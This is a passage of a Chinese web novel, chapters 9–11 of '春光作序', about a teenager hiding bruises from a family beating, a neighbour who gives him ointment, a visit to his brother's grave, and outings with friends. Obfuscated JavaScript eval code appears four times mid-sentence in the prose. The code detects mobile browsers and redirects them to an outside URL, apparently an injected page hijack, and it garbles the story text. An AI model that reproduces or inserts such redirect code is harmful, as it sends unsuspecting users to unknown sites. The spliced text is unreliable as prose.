赵益和更是套了件松松垮垮的短袖,裤子腰都快掉到胯骨上,像套了他爸的衣服。 旁边的“棠姐”翻了个白眼,勾了一下赵益和的衣领:“你衣服都穿反了还好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208006|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说别人。” “卧槽!”赵益和发出一声惨叫,“你不早说!我像个傻子跑了二里!” 山鸡在一旁笑得直不起腰,“棠姐”没理他的哀嚎,径直走向杜奶奶。 她蹲在老人身边,声音一下子软了八度,甜丝丝地喊:“奶奶~还记得我吗?我是赵棠呀。” 奶奶盯着她看了好半天,说:“小棠,哦,骏骏的同学伐?” 赵棠呵呵地笑了:“奶奶错啦,我和曹骏不是一个班的。” 赵益和也凑过来,指着自己问:“奶奶我呢?” 奶奶歪头看了好一会儿,说:“偷玉米的伐?” 赵益和:“……” 旁边三人没心没肺地笑了起来。 赵益和不死心,掏出手机翻出张照片,凑到奶奶面前:“那奶奶,这个人呢?你还记得不?” 几人凑近一看,屏幕里是抱着一捆稻米的焦青钰。 背景瞧着像是秋天,遍地金灿灿的一片,他穿了件毛茸茸的棕色菱格针织衫,依旧没有什么表情。 杜奶奶眨了眨眼睛,点头说:“哦,小钰啊。” 山鸡笑道:“看来就记得钰哥了。” 赵益和收起手机给自己找补:“我要是经常来,奶奶肯定也认识我。” 赵棠遮着嘴巴偷笑:“认识啊,偷玉米的贼。” 历霜瞥了眼手机时间,跟他们打了声招呼,拎起东西准备走。 山鸡送他到马路边,塞给他一瓶矿泉水,又道了次谢:“今天谢谢你了。” “举手之劳。”历霜说。 原本冰镇的矿泉水,到家时已经没了凉意。 历霜洗完手刚想坐下歇口气,眼角余光瞥见桌上摆着两张卡片似的东西,花花绿绿的像门票。 正纳闷着,芳沁抱着灯笼从里屋走出来。 “这是小钰送过来的,”芳沁把灯笼放在地上,拿起一张门票递给他,“说是谢你请他吃榴莲。咱们镇每年七八月份都有广场演出,这门票抢手得很,也不便宜,你可得好好谢谢人家。” 历霜盯着门票上“民俗展演”的字样,指尖轻轻敲了敲桌面,应道:“嗯,见到他会说的。” 到了七点半的样子,历霜拎着垃圾袋出门,没走几步就撞见回来的焦青钰。 焦青钰今天依旧是及膝短裤配凉鞋,只是上衣换了件灰色短袖连帽衫,帽子拉得低低的,几乎盖住了半张脸。 “谢你的门票。”历霜简洁明了地道谢。 “嗯。”焦青钰瞥了他一眼,与他擦身而过。 历霜的目光随他进屋,直到那扇铁门“咔嗒”一声关上。 焦青钰在空荡荡的院子里,望着静得能听见虫鸣的屋子,站了不知多久,才走向卫生间。 从院角到卫生间的路明明很短,他却走得格外慢。 他拉下帽檐,打开卫生间的灯。 镜子里的人右脸颊肿着一块,泛着不正常的红,连眼角都带着点淤青,看着特别狼狈。 他深吸一口气,捧起冷水往脸上扑。 闭上眼睛的瞬间,那几个人的嘴脸、嗤笑的声音突然撞进脑子里,怒火“腾”地窜了上来。 他咽下喉咙里涌上淡淡的血腥味,狠狠锤了一下门板,低骂道:“操!一群老不死的东西!” 骂完后,焦青钰双手撑着盥洗池两侧,再次深深吸气,随后又捧了一汪冷水扑在他的脸上。 伤口被冰得暂时失去痛感,等水顺着下巴滑落,那股钝痛又卷土重来。 就在这时,铁门被拍响了。 第一下,焦青钰没动。 第二下,焦青钰还是没动。 门外的人像是来了劲,敲门声越来越响,震得这里都能听到嗡嗡颤声。 焦青钰越听越烦,重新盖上帽衫的帽子,转身走向院子。 “咔哒”一声拉开门。 他还没来得及皱眉,一股清冽的药膏香就擦着侧脸漫过来,帽檐被轻轻一勾,顺势滑回后背。 他的视野在那瞬间豁然开朗。 电瓶车的灯光从远处漫过来,晕开一片暖黄,将他的影子拉得斜长,与对方的影子交叠在地上,渐渐缩成一团。 而在逆光中。 历霜的轮廓被镀上圈柔和的金边,唇角带着了然的笑意。 他用指缝转着那盒药膏,声音慵懒无比。 “我果然没看错。” 9. 春光作序 焦青钰微微一怔,很快回神,目光直直落在历霜脸上:“你要干什么?” “来笑话你啊。”历霜笑了笑,手一抬。 药膏带着轻响朝他飞来。 焦青钰下意识抬手接住,跌打扭伤的药膏静静地躺在他的掌心。 焦青钰眉头一蹙:“用不着。” “反正这玩意快过期了,”历霜单手插在裤兜,下巴朝药膏扬了扬,语气漫不经心,“你不想要就丢了。” 焦青钰瞥了眼包装上的日期,明明还有11个月。 他攥着盒子沉默几秒,抬头问:“为什么?” 历霜耸耸肩:“就当我随手丢了个垃圾。” “刚刚不是扔过了吗?”焦青钰认真接话。 历霜愣了下,又摆回那副不在乎的样子:“刚刚丢的是可回收,这个是其他垃圾。” 焦青钰盯着他,语气认真:“药膏属于有害垃圾。” 历霜嘴角明显抽了抽:“……重点是这个吗?” 焦青钰一脸不解:“不是吗?” 历霜:“……” 历霜沉默几秒,轻声地嗤笑:“人机。” 焦青钰没听清,盯着他的嘴型追问:“什么?” “没什么,”历霜后退一步,“反正东西送到了,你爱咋处理咋处理,拜。” 他完全不给焦青钰拒绝的机会,转身就走。 焦青钰呆愣几秒,往门外探了探身。 历霜已经和路过的街坊聊起来了。 “衣服还得看人啊,霜霜你穿什么都好看。” “姐你穿得也好看啊,很有古典美女的气质,再画个妆简直完美。” “诶哟我都多少年纪了,还古典美人,你老哄我!” “实话嘛哈哈哈……” 历霜来这儿才十天,却跟大半街坊都熟络了。不论对方年龄有多大,他总能聊上几句。 光是焦青钰偶然看见的,就不止两位。 早餐店的老板、干洗店的阿姨,李二嫂,刘大哥……都在用亲昵的小名称呼历霜。 那片热闹像道无形的墙,衬得他的冷漠格外突兀。 焦青钰收回目光,默默关上铁门,院子重归安静。 他低头看着掌心的药膏,指尖无意识地摩挲着表面。 随后他打开手机,给李丰月家打电话。 谎称自己感冒了,请了四天假。 电话那头传来李丰月稚嫩的声音:“什,什么!小钰哥哥,你,你没事吧!” “没事,过两天就好了。”焦青钰面不改色地回答。 “我,我要去看你!”李丰月大声说。 “会传染的。”焦青钰低了写音量,听上去很柔和,“好了我会去找你的。” “好,好,好吧?”电话里发出悉悉索索的声音,下一秒又变成成熟的女声,“小钰啊,你好好养身子,等你好了阿姨给你煲个鸡汤,可好喝了。” “不用破费了,”焦青钰说。 李丰月家对他很热情,时不时就会给他投喂东西。 上次除了榴莲之外他们还请他吃了自制的炸鸡。 感觉跟芳沁一样,就看不得他嘴巴空着,想把他养得再壮一点。 焦青钰在辩论这块就没赢过,这次他又输了,定下“病”好了以后去吃鸡汤的约定。 挂断电话后,他又给便利店店长发了一条请假条。 也是说自己中暑感冒,这四天不能去店里了。 店长表示理解,让他好好休息。 做完这些事的焦青钰抓起药膏,在脸上挤了一点。 药膏触及伤口的瞬间,先是冰凉,再是淡淡的中药味。 像随时渗入这些伤口,让它愈合。 焦青钰带上这根药膏回到了卧室。 他没有上床休息,而是打开了台灯,摊开桌上未写完的试卷。 他一直写到十一点,才闻着药味入睡。 第二天,睡到自然醒的焦青钰躺在床上发懵。 突然间少了很多活,回归“普通高中生”该有的暑假生活,他一时半会不知道要做什么了。 “哈……” 他也就犹豫了几秒,一下子从床上爬起。 洗漱完后先给自己上了药,再戴上口罩去早餐店,打包早餐回家吃。 吃早饭的时候,顺便回复赵益和的消息。 他并没有告诉赵益和现在的情况。 所以对方还以为他准备要上班了,日常发弱智小视频骚扰他。 【焦青钰】:好笑 【二牛】:不要那么敷衍,我要你大声笑出来。 【焦青钰】:哈哈 【二牛】:? 吃早饭,他先晾衣服,再清理后院。 期间芳沁来找他,他也只是在门后回话,谎称自己出去玩了,现在身上很脏,不方便见面。 “好吧,那来吃中饭吗?狸狸也在。”芳沁又问。 “不用了,我要出去吃。”焦青钰回答。 根据芳沁的回答推断,历霜应该没有告诉芳沁他受伤的事。 看来这个人还是有优点的,比如观察力强,嘴严。 焦青钰回到厨房,用电饭煲做了一碗简易的番茄牛腩芹菜创新菜,简称:冰箱里有的东西全放电饭煲里煮。 焦青钰做菜算不上难吃,也比不上芳沁,只能说他本身对食物的欲望就不大,饿不死。 如果有人拿习题打赌,吃一碗萝卜送他五张新高考联赛或者火箭班的题,他可以捏着鼻子吃两碗。 对于他而言,学习是第一位。 因为只有学习,他能毫无顾虑地、不用担忧任何事情,不会被打扰。 他无法去别的地方,那么就靠文字、图像,感悟新的世界,考上他要上的大学。 下午,他开始新一轮的学习,背英文单词,再是文言文解析,最后做赵棠给的补习班复印卷。 在批改试卷的时候,赵益和又发来消息。 【二牛】:出来玩出来玩 【焦青钰】:不。 赵益和发来一个哭泣的表情。 焦青钰毫无波澜,回答:“没事我继续写题了。” 赵益和瞬间破防了。 【二牛】:你你你你! 【二牛】:老焦啊! 【焦青钰】:? 【二牛】:你知道你在古代属于什么吗?属于那种疯狂读书的秀才 焦青钰没懂言外之意,还觉得挺有道理的。 但他其实更想当别的。 【焦青钰】:我想当侠客。 【二牛】:? 【二牛】:你门都不出,侠什么? 【焦青钰】:高考结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208007|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束去别的地方。 【二牛】:哪里哪里?我也约一个! 焦青钰立马回答。 【焦青钰】:南极 【二牛】:? 赵益和随后又发来一个搞笑视频,显然将他这句话也当开玩笑了。 焦青钰也没有再提,又一次回了两个“哈哈”。 日落西山,普通又平淡的一天就这么过去了。 之后两天也大差不差,也就偶尔遇到历霜,两人会见缝插针地互怼一下。 譬如他偷喂橘猫的时候,历霜说他可以假装伤口是被猫揍了。 这种看热闹不嫌事大的馊主意,连赵益和都不敢跟他提,也就历霜敢弯着那双杏眼,笑得没个正形地盯着他,还故意追问:“怎么,这主意不好?” 好个屁。 他一般懒得回复,专心摸毛。 偏偏历霜又会问:“揍到你听觉中枢了?” 而且更可气的是,历霜总在他即将要生气时,又突然变得正常,会慰问他的伤口如何。 他怀疑历霜要么是在玩他,要么是有病。 焦青钰忍不住骂:“你是不是有病。” 历霜反而笑呵呵地回答:“谢谢夸奖。” 一拳打在棉花上。 虽然过程不情不愿。 但这件只有他和历霜知道的事,算是他们俩的第一个秘密。 第四天有点不同,厚重的黑云压满了小镇的天空,中午时分忽然下起雨来,淅淅沥沥直到下午五点,才弱成飘在风里的毛毛雨。 空气里裹着雨后的湿意,反而比之前更闷热。 焦青钰站在屋檐下,雨丝落在水洼里,溅起细小的水花,光影在水面上炸开又迅速消失。 “打豆腐咯——” “打豆腐咯——” 院外是打豆腐推车的叫卖声,破旧的喇叭声发出滋滋的电流声。 在潮湿的空气里飘得很远。 他不知站了多久,直到洗衣机的脱水系统结束,才毅然决然地转身。 再出现在院子里时,他已经套上了连帽衫,手里撑着把黑色的伞,另一只手拎着个鼓鼓囊囊的塑料袋。 焦青钰戴上口罩,绕开嘈杂小巷,踏上了另一条向西的路。 路边的农田里,绿色的叶瓣上挂着水珠,风一吹就簌簌往下掉。 路上遇到熟人,焦青钰立刻放低雨伞。 脚步也加快了不少。 他路过爬满青苔的石桥,径直窜进旁边的山林。 山路被雨水泡得泥泞,每走一步都沾着厚重的泥巴,裤腿上溅满了泥点。 他毫不在意,只是稳稳地攥着伞柄,一步一步往上走。 最后,他在半山腰一片空旷的杂草地停下,雨也恰好在这时停了。 草叶上的水珠沾湿了他的袖口,他也没顾。往里走了几步,一块立在树底下的墓碑便露了出来。 焦青钰收起雨伞,走到那块墓碑前。 墓碑上刻着“焦英睿之墓”五个字,上面配着一张照片。 照片里的年轻人眉眼弯弯,带着股爽朗的笑意。 如果让外人来看,一定会惊呼一声。 因为那张照片里的年轻人,除了眼神不同,其他与焦青钰的长相高度相似。 这就是焦青钰的哥哥。 今年依旧十七岁。 10. 春光作序 焦青钰蹲下身。 从塑料袋里拿出夹子,把被雨水打湿的枯叶一片片夹起来装进袋中,又用纸巾仔细擦干净石碑上的泥点。 做完这些,他从衣服口袋里掏出几包米果,还有一袋水果糖,轻轻放在石碑前的石台上。 随后拿出野餐垫,铺在旁边坐下,方向和墓碑一致。 他看见橙红色的霞光正一点点拨开云层,像是千丝万缕的金线,将天边染成暖融融的颜色。 这座山没有被旅游业开发,毫无特色,只是千万中山峦中最普通的一座,有风萤山在,这里很少有人上来。 他们就是知道这点,所以才将焦英睿的墓碑放在这里。 因为焦英睿生前不喜欢吵闹。 焦青钰坐了一会儿,轻轻开口,声音不带起伏:“妈妈的病情稳定了,今年能回来看我们了。” “啪嗒。”只有树叶被雨水压塌的声音回答他。 他继续说:“我这个伤,是我又去试了一次,结果失败了。” “姥爷说只要舅舅的事一天没解决,我就一辈子都别想出去。” “一辈子?他应该会走的比我早。” 焦青钰停顿了很久,眼里映着漫天的霞光。 他双手向后,撑着自己的身体:“你觉得我能离开这里吗。” 话音刚落。 放在石台上的那颗水果糖不知被什么碰了一下,滚到他的手指旁边。 焦青钰低头看着那颗裹着透明糖纸的糖果,伸手捡起来,捏在掌心。 “他们说我越来越像你,明明一点也不像,我不会成为你,我不会以德报怨。” “我遇到了个人,倒是跟你挺像的,都爱管闲事。” 焦青钰皱了下眉毛,补充一句:“不,他比你老油条。” 他拆开那颗糖果,含在嘴里。 之后再也没有说话,静静地坐着。 他从霞光满天坐到夜色漫上来,山下家家户户亮起灯火,终于慢慢起身,轻轻拍了拍墓碑,说:“我走了。哥。” 他从口袋里拿出眼镜,打开手机手电筒,一步一步原路返回。 走回小巷的时候,非常不出意外地,他又遇到了历霜。 历霜走在前面,穿件橙白条纹的短袖,外套随意别在腰间,深棕色工装裤衬得腿长。 一手拎着打包好的粉丝煲,另一只手举着手机,正用上海话讲电话。 历霜说普通话时总带着股漫不经心的笃定,声音清得像泉水。 说上海话时尾音轻轻上扬,多了几分跳脱,脚步看着都很轻快。 焦青钰抱着“天这么黑,不会被发现”的想法,悄悄加快脚步,想从历霜身边溜过去。 可他忘记了两件事。 第一,整片巷子只有他和历霜超过一米八。 第二,他大晚上趋于半瞎,可其他人不是。 于是他没走两步就被叫住了。 历霜挂了电话,慢慢悠悠地走过来:“跑什么。” 焦青钰转身,冷冷回答:“这是快走。” 在没什么行人的巷口,两人对立而站。 历霜眨巴着眼睛,语气里满是无辜:“你不会以为我看不见你吧?” 被猜到的焦青钰视线微微偏移:“……有话就说。” 历霜上下打量他,最后说:“那把帽子摘了。” 焦青钰怎么可能乖乖听历霜的话,斜睨一眼:“凭什么?” 历霜:“那我跟姑妈说你被打了。” 焦青钰:“……”阴险。 焦青钰不情不愿地扯下帽子,语气依旧冷冰冰:“干什么。” 历霜微微歪头,右手还摸着下巴,那眼神像是在研究什么稀奇物件。 焦青钰被盯得浑身不自在,刚要开口问他到底什么事。 历霜却突然站直身子,轻笑一声:“淡了不少,看来你用了啊。” 焦青钰嘴硬地反驳:“没用。” 历霜立刻张大嘴巴,故作惊讶:“难道是鸭血粉丝煲发出的中药味?” 焦青钰:“……” 焦青钰单手插兜,往墙上一倚,深吸一口气:“还是那个问题,你为什么要帮我。” “理由重要吗?” “重要。我不会无端接受别人的好意。”焦青钰义正言辞。 他从小到大都是这么做事的。 别人对他好一次,他就会还一次。 哪怕是最熟悉的赵益和对他好,他都要犹豫几秒,更别提压根不熟的历霜了。 历霜噗嗤笑了出来,假意思忖片刻,亮闪闪的眼睛看着他:“因为我人帅心善,乐于助人,还不求回报。你要真对我感激,以后见我一次喊我一声历霜大王万岁万岁万万岁好了。” 焦青钰:“……” 前面几个还算正常。 后面越来越奇怪了,焦青钰实在听不下去。 他看着历霜,认真地说:“总之,你在这件事帮了我,我将来也会帮你一次。” “……你,”历霜顿了顿,忍俊不禁,“还挺侠义的。” 焦青钰一愣。 历霜没察觉他的失神,转头看见路过的阿姨,立刻挥手打招呼:“哎呀,陈姨,买了啥啊?” 焦青钰听见人声,慌忙把帽子重新戴上,像要被抓包似的,飞快往家跑。 “他怎么了?” “想上厕所,不用管他。” 历霜爽朗的笑声落在身后,直至再也听不见。 回到家,焦青钰第一件事就是照镜子。 果然,脸上的淤青淡了不少,红肿也消了些。 那只药膏还挺有用的。 他想起历霜那张游刃有余的脸,还有那些不着调的话,尤其是“侠义”两个字。 他从没想过,第一个用这个词形容他的人,会是历霜。 盯着镜子里的自己,焦青钰思索:“……还是得遮挡一下。” 无雨的一夜过去,终于到了该去上班的日子。 焦青钰戴上眼镜眼镜,又罩了个口罩,随便套了宽松的衣服,出了门。 早班的徐巧看见他了,亲切地问:“你的病好了?” 徐巧比焦青钰大了八岁,目前正在找工作,所以来这里先做个兼职。 她人不高,额头饱满,嘴唇又偏厚,平时说话像金鱼一样,是个挺热情的人,话也比较多。 焦青钰入职第一天就是徐巧带的,她详细地介绍了店里的布局,还有哪里是可以休息的监控死角。 可以说是把所有摸鱼小技巧都告诉焦青钰了。 焦青钰的主要工作就是整理货物和结账,最后收尾整理,再交托给晚班的大哥。 在这里的同事和老板看来,焦青钰就是个勤工俭学的高三生,不免多多照顾他,允许他没客人的时候在收银台上写题。 焦青钰搬了一张椅子,趴在比他稍矮的桌上写字。 “你不在的时候,你那个经常给你试卷的朋友也来找你了。”徐巧边登记边说。 “我后面跟她打电话了。”焦青钰回答。 “我是没想到你竟然会中暑。”徐巧有些烦恼地说,“我男朋友也有点小中暑。” 因为便利店实在太无聊了,徐巧经常找焦青钰唠嗑,说的最多的就是自己的恋爱故事。 焦青钰也是第一次遇见找他问感情问题的人。 因为他的朋友们都很嫌弃他的思路,只有徐巧会觉得他回答的不错。 譬如,徐巧问:“你说我要不要去看他?” 焦青钰答:“我觉得他需要去看病。” 徐巧连连点头:“有道理了。” 一个问题就这么“解决”了,而且两人都很满意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208008|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有无意间听到对话的客人们如坐针毡:“?” 这俩不会是傻子吧?? 下午三点,徐巧下班了,她刚换好自己的便装和焦青钰讲了两句话,店门口的铃声响了。 走进来一位年轻的女生。 油亮的黑发绑成粗粗的双马尾,浓眉大眼,双颊带着雀斑,穿着一条深蓝色的背带裙,黑色的书包搭在前面。 她没有挑选东西,而是径直走向收银台,背包往台子上一搭,从里面掏出一叠空白的试卷。 “小妹妹来的真准时,”徐巧说的小朋友就是她,依稀记得她说过自己的名字,“叫赵棠是不是,上次你跟我说过。” “嗯。”赵棠点头,露出甜甜的笑容,“姐姐好。” “好好好,姐姐要走了,你们俩玩。”徐巧拍了拍赵棠的肩膀。 徐巧走出门的瞬间,赵棠的笑容一下子挂下来。 她右手搭在桌子上,打量在看题的焦青钰:“休息了这么多天,终于回来了。” 焦青钰戴着口罩,乍一看确实像生病。 但他们这种老熟人知道,焦青钰一定出了事。 因为这个人不可能在白天戴眼镜! “你不对劲!”赵棠确信自己没想错,“你没感冒吧?” “嗯,”焦青钰摘下眼镜和口罩。 赵棠在看见淤青的瞬间,差点跳起来,愤怒地叫道:“你的脸怎么了?!又是你爷爷他们搞得?!” “嗯。”焦青钰重新戴上眼镜,“我要拿身份证。” 赵棠捏紧拳头:“所以他们就打你了?” 焦青钰:“还有舅舅的事,一起报仇了。” “靠!一群脑残!为了个废物儿子打孙子是吧?真有病!****!”赵棠咬牙切齿,骂了一串不能听的脏话,“那群**!他真的***,为什么这么**,到时候把他们**算了!” 还好现在没顾客,不然肯定会以为她在骂焦青钰。 赵棠虽然和赵益和是堂姐弟的关系,但这两人性格天差地别。 赵益和主打息事宁人,赵棠主打天不怕地不怕,见人不爽就怼。 如果用游戏换算,焦青钰属于近战,而赵棠属于法师。 小时候有人欺负赵益和,没等赵益和还手,先被赵棠的连珠炮骂得脸红脖子粗,连回嘴的勇气都没了。 赵棠吭哧吭哧骂够了,才转向焦青钰,恨铁不成钢:“你没还手?任由他们打你?” 焦青钰:“我把他们的墙砸了。” 赵棠一愣,竖大拇指:“干得漂亮。” 她又绕着焦青钰转了圈,盯着他脸上的伤啧了一声:“你有药膏吗?差点就打到眼睛了。” 焦青钰从口袋里拿出那支药膏,晃了晃:“有,快涂药了。” 赵棠也放下心来,语气不再那么冲了:“同样是老年人,山鸡奶奶老年痴呆但很慈祥,你家那几位怎么就跟脑残一样,天天痴心妄想。” 焦青钰听到“杜奶奶”,立马追问:“杜奶怎么样了?好久没去看她了。” “好着呢,”赵棠说,“前几天走丢了,被送回来了。” 焦青钰眉头一皱:“又走丢了?” “对呀,听山鸡说有两个好心人送她回来了,我去的时候就剩下一个,”赵棠回忆起那天的场景,那个男生走后,山鸡就说人挺不错,其他没有再提,“山鸡说那个人是在滑板时认识的。” “滑板?”轮到焦青钰疑惑,“谁?” 那天滑板拍照的路人们? 还有这么巧的事? “忘了名字了,反正挺帅的,跟你差不多高,声音挺独特,头发有点卷,笑起来眼睛是这样的,”赵棠把眼角往旁边轻轻一拉,模仿出弯眼笑的模样。 焦青钰捏药膏的手指猛地一顿:“……” 他好像知道是谁了。 11. 春光作序 “听赵益和说,你们俩差点打起来。”赵棠遗憾地叹了一口气,“太可惜了,我当时怎么就不在场呢。” 焦青钰翻动试卷,瞥了她一眼:“你要是在场想干嘛?” 赵棠终于有点高兴了:“我就能拍照了啊。” 焦青钰:“……” 赵棠向来这样。 小时候他和赵益和打架,她就坐在旁边拍手鼓掌,甚至在他们身上下注,最后反而是她坐收渔翁之利。 如果说焦青钰是学习脑,那她就是赚钱脑,满脑子利益优先。 他们班上有个高一辍学的男生,再见面时变成蹲在学校门口的精神小伙,经常骚扰女同学。 到最后,骚扰到了赵棠身上。 赵棠直接给了他三个赚钱的方案,只需要他保证能做满一年,并且每个月给她一定比例的中介费就可以了。 一礼拜后,这个男生带来好几个兄弟投奔赵棠。 赵棠让她叔叔,也就是赵益和的爹,分出不用的老房子给这几个人当宿舍,每月只收十块钱。 “你那群小弟现在怎么样了?”焦青钰打探道。 “有的考了高级技工证去外地了,但每个月还是会给我打钱,”赵棠得意地扬起下巴,“我现在存的钱都够我大学花销了。” 谁敢想。 年仅十八岁的赵棠手下已经有自己的专业团队了。 赵棠看着焦青钰,再次确认:“你真的不要我资助你吗?” 赵家姐弟跟焦青钰提议过好多次问他们借钱的事,全都被焦青钰拒绝了。 而且每次的话术都一样。 “如果你资助我,我们就不能做朋友了。”焦青钰说。 赵棠不解地问:“就当做给你的投资,你只要将来还给我就可以了啊。” “那现在呢,”焦青钰食指点在试卷上,望着赵棠,声音如此平静,“我该用什么态度对你们。” 赵棠愣了一下,随后轻笑:“行吧,那还是做朋友合算点。” 赵棠临走前,焦青钰从包里拿出三张民俗大会的门票。 赵棠开心地收下,随口问:“你每年都是哪里收来的门票啊?” “之前帮一个爷爷收菜,碰巧他是民乐队里吹唢呐那人的师父,就有门票了。”焦青钰回答。 “原来如此,”赵棠翻看门票上写的注意事项,“七月二十一日十八点?到时候我先过去抢位子。” 焦青钰微微摇头:“我不去,我的那张也给你了。” 赵棠立马抬眼看他:“为什么?” 焦青钰淡淡地回答:“我写题。” 赵棠瞥到活动详情,提醒道:“可是今年好像有互动活动啊。” 焦青钰依旧没兴趣,果断地回答:“不去。” 赵棠:“第二名是五百元超市代金券。” 焦青钰缓缓伸手:“……给我一张。” 忍笑的赵棠抽出一张给焦青钰,其他门票则塞进书包前夹层,重新背上书包。 赵棠走到口,又提醒了一遍:“那就这么说定了,你记得买点零食,那边可不放饭。” “嗯。”焦青钰点头。 赵棠走后,便利店重新归于宁静。 焦青钰收起那张门票,连同药膏一起放回包里。 窗外的天渐渐沉了,起初还斜斜映在货架上的金黄余辉,不知何时悄悄褪去。 八点四十分,换上自己衣服的焦青钰从便利店走出来,收到了赵益和发来的消息。 【二牛】:棠姐给我门票了!收到! 【二牛】:明天来找你玩 【焦青钰】:我要去理发店找丰月。 【二牛】:那我也去,我们去抓虫子 【焦青钰】:我是去上课的。 【二牛】:可以玩吧,你问问他妈 【焦青钰】:肯定不行。 “行啊。” 李丰月的妈妈边帮赵益和洗头,这边跟焦青钰说:“今天就不学了,你们出去玩吧。” 焦青钰没回话,往下瞥。 早上八点就拉着焦青钰过来洗头的赵益和,此刻躺在床板上得意地撅起嘴巴:“你看阿姨多好,多懂得劳逸结合,你跟人学学,怎么老想着学习。” 焦青钰:“……” 赵益和嘚瑟地扭动身子,语调变高:“昨天是谁说肯定不行的呀,这不是行了吗?” 焦青钰:“……” 赵益和穿的短袖还是绿色的,扭动身子时特别像一只毛毛虫。 他为了抓虫子,装备早早摆在门口了,甚至还带了焦青钰和李丰月的份,像是笃定家长会同意了。 赵益和脑袋不动,继续扭身子:“怎么有人老想着学习啊~都不出来玩的。” 焦青钰抬头跟李丰月妈妈说:“阿姨,我帮他洗头。” 赵益和:“哥哥我错了。” 这时吃完早饭的李丰月跑过来,拉住焦青钰的手,开开心心地问:“今天,我,我们出去玩,玩吗?” 焦青钰弯腰,托着李丰月的屁股直接抱起来,耐心地问:“你想去抓虫子吗?” 李丰月搂着焦青钰的脖子,点了点头。 赵益和吹完头发,焦青钰和李丰月也都套上了袖套,喷上了防蚊喷雾。 焦青钰和赵益和拿着网兜,李丰月抱着大箱子,身高像wifi下降的三人前往萤风山。 萤风山除了著名的萤火虫,其他昆虫的资源也特别丰富。 作为特别喜欢昆虫的赵益和,每年这个点都会叫朋友过来抓虫子。 然而每次只有焦青钰答应。 因为这次带上了李丰月,他们俩就没有去高的地方,只在山角找虫。 树木错落生长,肥厚的叶片层层叠叠,粼粼日光透过叶隙洒下,在地面织出晃动的光斑。 赵益和在前面探路,焦青钰拉着李丰月的手,慢慢地走。 前面的赵益和突然停下,冲他们大喊:“钰,有锹甲!” 焦青钰带着李丰月走过去,目光落在赵益和所指的树干上。 一只近半掌长的虫子正趴在那里,黑色外壳泛着哑光,一对尖颚扁平锋利,身体也有点扁。 应该是中国扁锹甲。 “锹甲,喜欢躲在枯树的树干里,”焦青钰跟赵益和说,“这只颚断了,换个吧。” 赵益和指着另外一棵树说:“我在那上面还看到了一个,老样子,我把它勾下来,你接着。” 焦青钰点头:“嗯。” 有焦青钰与赵益和两个捉虫高手在,李丰月收获满满。 赵益和随手就是一只黄面鬼,焦青钰负责解说它吃什么,生活在哪里,说完后会让李丰月重复自己的话。 李丰月磕磕绊绊地说完,赵益和鼓着掌说:“丰月越来越流利啊,不错不错,你牛哥给你抓只大甲虫回去。” “嘿嘿。”李丰月小小自豪了一下,“小钰哥哥,不,不在的时候,我自己,在,在家练过!” 赵益和怼了怼焦青钰的胳膊:“你这徒弟可以啊。” 他们再往里走,走出树林丛,来到小方泉溪。 方泉溪不宽,成年人稍用力助跑一下就能跳过去;水也浅,清澈得能一眼看见底下被冲刷得光滑圆润的石块。 三人匆匆洗了一下手,开始休息。 赵益和坐在大石头上,焦青钰也在喝水。 只有李丰月完全不累,抱着装虫子的透明盒子翻来覆去地看,用儿童手表对着盒子里的小虫子拍照,发给妈妈看。 赵益和感叹道:“小孩子就是精力旺盛。” 焦青钰说:“说的你像三十多岁了。” 看见这些水,赵益和猛地想起一件事:“哦对了,你那个小区,好像下礼拜哪天要断水,你有没有收到通知?” 焦青钰说:“收到了,水管改造。” “洗澡就来我这边的澡堂洗好了,”赵益和已经开始回忆以前去澡堂的日子了,“嘿嘿,干脆叫上山鸡一起吧,好久没一起搓澡了。” 焦青钰点头:“行。” 赵益和紧紧抱住自己:“哦不行,我不跟你一起洗,你的比我们长得好,我自卑。” 焦青钰:“……你是不是有病。” 再在山里玩了一小时,三人才从山里走了出来。 此时刚过十一点,头顶的太阳正烈,毫无保留地泼洒光芒,地面被晒得发烫。 他们走在彭山路的街头,每经过一个开着空调的商铺时,总会心照不宣地多停留片刻。 一路上车辆不是很多,人也少。走到现在,他们总共就遇到了五个路人一辆车。 路过街头的饮料机,赵益和停下脚,问他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 